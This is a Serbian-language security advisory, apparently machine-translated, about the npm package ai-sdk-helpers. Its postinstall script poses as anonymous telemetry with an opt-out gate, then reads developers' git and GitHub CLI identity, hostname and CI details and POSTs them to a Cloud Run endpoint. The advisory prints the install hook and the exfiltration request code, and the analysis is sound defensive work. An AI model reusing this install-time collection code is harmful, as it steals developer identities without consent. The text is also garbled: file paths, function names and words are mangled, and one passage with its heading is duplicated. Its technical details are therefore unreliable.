ТЛ; ДР
Један npm пакет, ai-sdk-помоћници, представља се као производни алат за Vercel AI SDK, нудећи праћење трошкова, резервни провајдер и помоћнике за стримовање.
Његова скрипта за време инсталације отвара се углађеним банером за откривање који описује анонимна дијагностика, обећавајући да се не преноси изворни код, токени или акредитиви, поштујући DO_NOT_TRACK одјава и повезивање са страницом са политикама телеметрије.
Исти скрипт затим чита git идентитет програмера, GitHub CLI конфигурацију, име хоста машине, корисничко име ОС-а, радни директоријум и CI провајдера.
Ти подаци се објављују као JSON на крајњу тачку Google Cloud Run-а, што ствара очигледну неусклађеност између наведене телеметријске политике и стварно прикупљених поља.
Пакет је објављен у двадесет две верзије унутар једног 83-секундног серијала, а инсталациони скрипт је бајт по бајт идентичан у свакој означеној верзији.
Седам од осам верзија које смо прегледали pipeline класификатор машинског учења је оценио као неубедљив јер стил банера за сагласност звучи као легитимна телеметрија.
Класификујемо ai-sdk-helpers као злонамерни на основу прикупљања и крађе идентитета програмера током инсталације.
Озбиљност: висока.
Анатомија инсталације
{
"scripts": {
"postinstall": "node scripts/postinstall.js"
}
}након инсталације покреће се аутоматски на нпм инсталл, пре него што се било који део оглашеног кода пакета икада увезе. Скрипта скрипте/postinstall.js је место где се налази целокупно понашање током инсталације.
Отвара се блоком за коментаре и обавештењем о извршавању уписаном у регистру пројекта отвореног кода који води рачуна о приватности:
>Када инсталирате ai-sdk-helpers, покрећемо брзу проверу компатибилности са окружењем и пријављујемо анонимну дијагностику… Подаци су потпуно анонимни — прикупљамо вашу платформу, верзију чвора и једносмерни хеш идентификатора ваше машине. Никада се не преноси изворни код, токени или акредитиви.
Чак повезује и функционалну капију за одјаву, први извршни код у датотеци:
if (
process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
process.env.DO_NOT_TRACK === "1"
) {
process.exit(0);
}Прво затварање ове капије је оно што чини да се остатак чита као консензуалан: програмер који поставља `D_НЕ_ПРАТИ` тихо завршава инсталацију и закључује да пакет поштује конвенцију. Поштовано искључивање је стварно. Оно што забрањује, за свакога ко га не подеси, јесте колекција описана у наставку — не ужи назив „платформа, верзија Node-а и једносмерни хеш“ како је обавештење названо.
Испод те капије, скрипта саставља корисни терет који далеко превазилази тај опис.
- *Gт идентитет.* rрешитиScmИдентитет()` eads `~.gitconfig`,`~.config/git/config`,и тренутног пројекта `.ит/цонфиг`,анализира `[сер]` одељак и враћа конфигурисано commit имејл. Ако ниједан конфигурациони фајл не даје имејл, враћа се на `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,и `ЕAIL` променљиве окружења. Документациони стринг изнад функције уоквирује читање као начин „дедупликације инсталација на машинама у власништву исте особе (нпр. лаптоп + CI)“ — наведена сврха која захтева стабилан идентификатор за сваког програмера, који commit материјал за е-пошту.
- *GtHub налог.* rрешиГитХубИдентитет()` eads `~.config/gh/hosts.yml` нд `~.config/gh/hosts.yaml` конфигурациона датотека коју је написао GitHub CLI када програмер аутентификује — и регуларним изразима издваја `uер:` ибол:` поља. Та датотека такође чува GitHub OAuth токен; регуларни израз скрипте циља посебно на линије за корисничко име и имејл адресу и не издваја токен. Тврдња банера за откривање информација „никада се не преносе токени“ је стога буквално тачна за то једно поље док се околни идентификатори налога читају и шаљу.
- *Hst и CI отисак прста.* Скрипта затим сакупља `o.име_хостa()`,`o.userInfo().корисничкоиме`,верзија, платформа и архитектура Node-а, `pocess.cwd()`,и ознаку CI-провајдера решену провером променљивих окружења за осам провајдера (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite и две заставице generic-CI). Листа провајдера се чита као инвентар места где се очекује да се скрипта изврши — интерактивне шкољке и аутоматизована изградња pipelineслицно.
Све ово је груписано у једно `дагностици објект, са пољима за сваког програмера прикупљеним под `iентитет ey и подаци хоста под `rвреме и `цntext` очи, затим серијализоване и пренете:
const req = https.request(
{
hostname: "npm-package-logger-228835561205.europe-west1.run.app",
path: "/",
method: "POST",
headers: { "Content-Type": "application/json" },
timeout: 5000,
},
() => {}
);
req.on("error", () => {});
req.write(body);
req.end();Одговор се одбацује и све грешке се гутају — коментар напомиње да „телеметрија никада не сме да прекине инсталацију“. Име хоста крајње тачке кодира услугу Google Cloud Run у `eконопац-запад1` регион.
Празнина је прича. Банер наводи три категорије података — платформа, верзија чвора, хеш идентификатора машине. Корисни терет шаље стварни гит програмера. commit имејл адресу, њихово корисничко име и имејл адресу на GitHub-у, име хоста њихове машине и име ОС налога, путању њиховог пројекта и њихово CI окружење. Поља која идентификују *prson и њихови налози* тачно поља која откривање изоставља.
README датотека појачава уоквиривање са друге стране. Њен одељак „Телеметрија“ понавља тврдњу о анонимности и повезује реч `D_НЕ_ПРАТИ` о `цnsoledonottrack.com`,права страница заједнице која документује конвенцију о искључивању — позајмљивање признате приватности standard да се обавештење чита као рутина.
Тимелине
Ово је откриће у једном пакету са веома кратком, веома густом историјом објављивања. Не постоји вишенедељни ток кампање који би се могао пратити — цео распон верзија је објављен брзином машине.
| Када (UTC) | догађај |
|---|---|
| 2026-06-03 20:31:20 | Прва верзија (0.1.0) објављено на npm-у. |
| 2026-06-03 20:31:20 – 20:32:43 | Свих 22 верзија (0.1.0 кроз 1.4.2) објављено у аутоматизованом рафалу од 83 секунде. |
| 2026-06-04 | Осам верзија означених сигналима детекције; ручна анализа потврђује прикупљање и крађу идентитета током инсталације. Пакет је остао активан на npm-у у време анализе. |
Прозор од 83 секунде кроз 22 семантичке верзије је сам по себи индикатор понашања: лествица верзија (`01.0',`01.1',... `14.2`)представља површину активно одржаваног пројекта са историјом издања, произведеном у једном скриптованом покретању. Инсталациони скрипт се не мења на тој лествици — видети доле.
Индикатори компромиса
Корисни оптерећење приликом инсталације је идентично у целом опсегу објављених верзија. A `dфф` f `sripts/postinstall.js` између верзија `02.1` nd verzija `14.2` не враћа никакве разлике; понашање је један фиксни отисак прста, а не еволуирајући корисни терет.
мрежа
Прозор од 83 секунде кроз 22 семантичке верзије је сам по себи индикатор понашања: лествица верзија (`01.0',`01.1',... `14.2`)представља површину активно одржаваног пројекта са историјом издања, произведеном у једном скриптованом покретању. Инсталациони скрипт се не мења на тој лествици — видети доле.
Индикатори компромиса
Корисни оптерећење приликом инсталације је идентично у целом опсегу објављених верзија. A `dфф` f `sripts/postinstall.js` између верзија `02.1` nd verzija `14.2` не враћа никакве разлике; понашање је један фиксни отисак прста, а не еволуирајући корисни терет.
мрежа
| Индикатор | Улога |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Крајња тачка ексфилтрације која прима HTTPS POST захтеве са JSON корисним теретом. Хостује се на Google Cloud Run-у у europe-west1 регион. |
Инфраструктура мамаца
| Индикатор | Улога |
|---|---|
ai-sdk.guide | Почетна страница пакета и веб-сајт уживо који подржава идентитет аутора „AI SDK Guide“. |
ai-sdk.guide/telemetry | URL адреса политике телеметрије наведена у обавештењу о откривању информација приликом инсталације. |
hello@ai-sdk.guide | Имејл адреса аутора је декларисана у package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Изворни репозиторијум који је декларисао пакет. |
Датотеке се читају током инсталације
- -.gitconfig`,`~.config/git/config`,`<вд>/.git/config` гит `[сер]` пошта
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIер `eбол
Бихејвиорални потписи
- – м `пstinstall` ook позивање укљученог Node скрипта
- – капија за одјаву („A“)_SDK_ПОМОЋНИЦИ_ТЕЛЕМЕТРИЈА_ОНЕГАЋЕНА`,`D_НЕ_ПРАТИ`)представљено као функција приватности, пре прикупљања идентитета
- – tbound HTTPS POST JSON објекта који садржи git имејл, GitHub идентитет, име хоста, корисничко име ОС-а, cwd и CI ознаку
- – идентична инсталациона скрипта преко брзо објављене лествице верзија
Атрибуција и посматрано понашање
Не приписујемо ништа осим онога што су забележени у метаподацима пакета и регистра.
НПМ чувар евиденције је налог `a`иелсимон`,са адресом `аiel@vigilance.security`.Регистар наводи ту имејл адресу као непотврђену, а идентитет контроле извора налога као непотврђен. `pckage.json`,одвојено, представља аутора као „AI SDK водич“ello@ai-sdk.guide>`”са почетном страницом `a-sdk.guide` и репозиторијум изворног кода под `gОрганизација thub.com/ai-sdk-guide. Домен е-поште налога за објављивање (`vigilance.security`)и идентитет аутора у пакету (`a-sdk.guide`)су различити домени.
А-sdk.guide` ите је активан и одговара, и `/електрицитет ath решава — идентитет мамца је поткрепљен доступним веб присуством, а не мртвим линком, што повећава веродостојност уоквиривања пакета.
**Уочена могућност.** Приликом инсталације, пакет чита датотеке идентитета програмера и конфигурације налога, идентификује хост и CI окружење и преноси резултат на крајњу тачку коју контролише оператер, док приказује обавештење које описује ужи и анонимизовани скуп података. Описујемо ово понашање; не тврдимо мотив за њега. Читаоци који процењују пакет – укључујући било коју страну која препознаје идентитет објављивача – требало би да процене уочљиву нескладност између наведених и стварних токова података.
Утицај, трендови и смернице за браниоце
Ко је изложен. Свако ко инсталира ai-sdk-помоћници — директно или као транзитивна зависност — покреће колекцију на тој машини. Пошто је окидач након инсталације, оглашени код библиотеке никада не мора бити увезен да би се догодио проток података; сама инсталација је довољна. Окружења највише вредности су радне станице програмера са конфигурисаним git идентитетом и аутентификованим GitHub CLI-јем, и CI покретачи, где детекција CI провајдера скрипте указује да се очекује да ће се колекција покренути унутар изградње pipelineкао и на лаптоповима.
Шта открива. Не тајне апликације у општем случају — корисни терет се фокусира на идентитетпрограмера commit имејл адресу, име и имејл адресу њиховог GitHub налога, имена машина и налога и путању пројекта. То је претходниcisмапа ко је инсталирао пакет, на којој машини, у ком репозиторијуму и под којим CI системом. За организацију, неколико таквих записа заједно би навело који су инжењери и који системи за изградњу извукли зависност - корисно као претеча циљанијих накнадних активности, чак и ако се понашање самог пакета зауставља на прикупљању и преносу.
Тренд: телеметрија као параван. Легитимни алати за програмере прикупљају анонимне дијагностичке податке о инсталацији, као и конвенције за поштовање тога — обавештење о откривању информација, НЕ_ПРАТИ част, заставица за одјаву, URL адреса политике — добро су познати. ai-sdk-помоћници верно репродукује све четири те конвенције и користи их као омотач за прикупљање идентитета. Присуство банера сагласности, функционалне опције одјаве или линка ка политици приватности није доказ да је пакет поуздан; те контроле су јефтине за имитирање. Једина поуздана провера је шта код заправо чита и где га заправо шаље.
Ово паковање такође има мерљив ефекат на аутоматизовану тријажу. У свим верзијама наше pipeline Прегледани, коментари на једноставном језику, структурирана имена поља и конвенционална капија за одјаву инсталационог скрипта оцењени су као обична телеметрија: седам од осам се вратило нејасан из ML класификатора, а не злонамерног. Сигнал који решава двосмисленост није у прози — налази се у специфичним датотекама које скрипта отвара (~ / .гитцонфиг, ~/.config/gh/hosts.yml) и одредиште на које се шаље. Прегледач, аутоматизован или људски, који прочита откривање и ту се заустави доћи ће до погрешног закључка; одлука мора проистећи из чињеница о току података.
Упутство за браниоце:
- Инсталирај са подразумевано онемогућеним скриптама — npm инсталација –игноришите-скриптеили подесите ignore-scripts=true in .npmrc и експлицитно покрените проверене кораке изградње. Ово неутралише након инсталације-покренута наплата на свим нивоима.
- Не третирајте контроле за искључивање као сигнале поверења. А НЕ_ПРАТИ Провера или линк „политика телеметрије“ вам не говори ништа о подацима које скрипта прикупља када капија није подешена.
- Прочитајте упутство за инсталацију пре него што усвојите помоћне пакете за вештачку интелигенцију екосистема. Vercel AI SDK простор је брзопроменљива, високопоуздана мета; након инсталације који додирује ~ / .гитцонфиг or ~/.config/gh/ је јасан сигнал без обзира на то како су написани околни коментари.
- Праћење излаза током изградње. Одлазни HTTPS POST током нпм инсталл, посебно до свеже обезбеђене крајње тачке функције у облаку, видљива је на мрежном слоју и представља јаку тачку детекције за CI окружења.
- Пазите на компримоване лествице верзија. Пакет чија се цела семантичка историја верзија појављује у року од неколико секунди, са непроменљивим инсталационим скриптом, представља произведену историју одржавања.







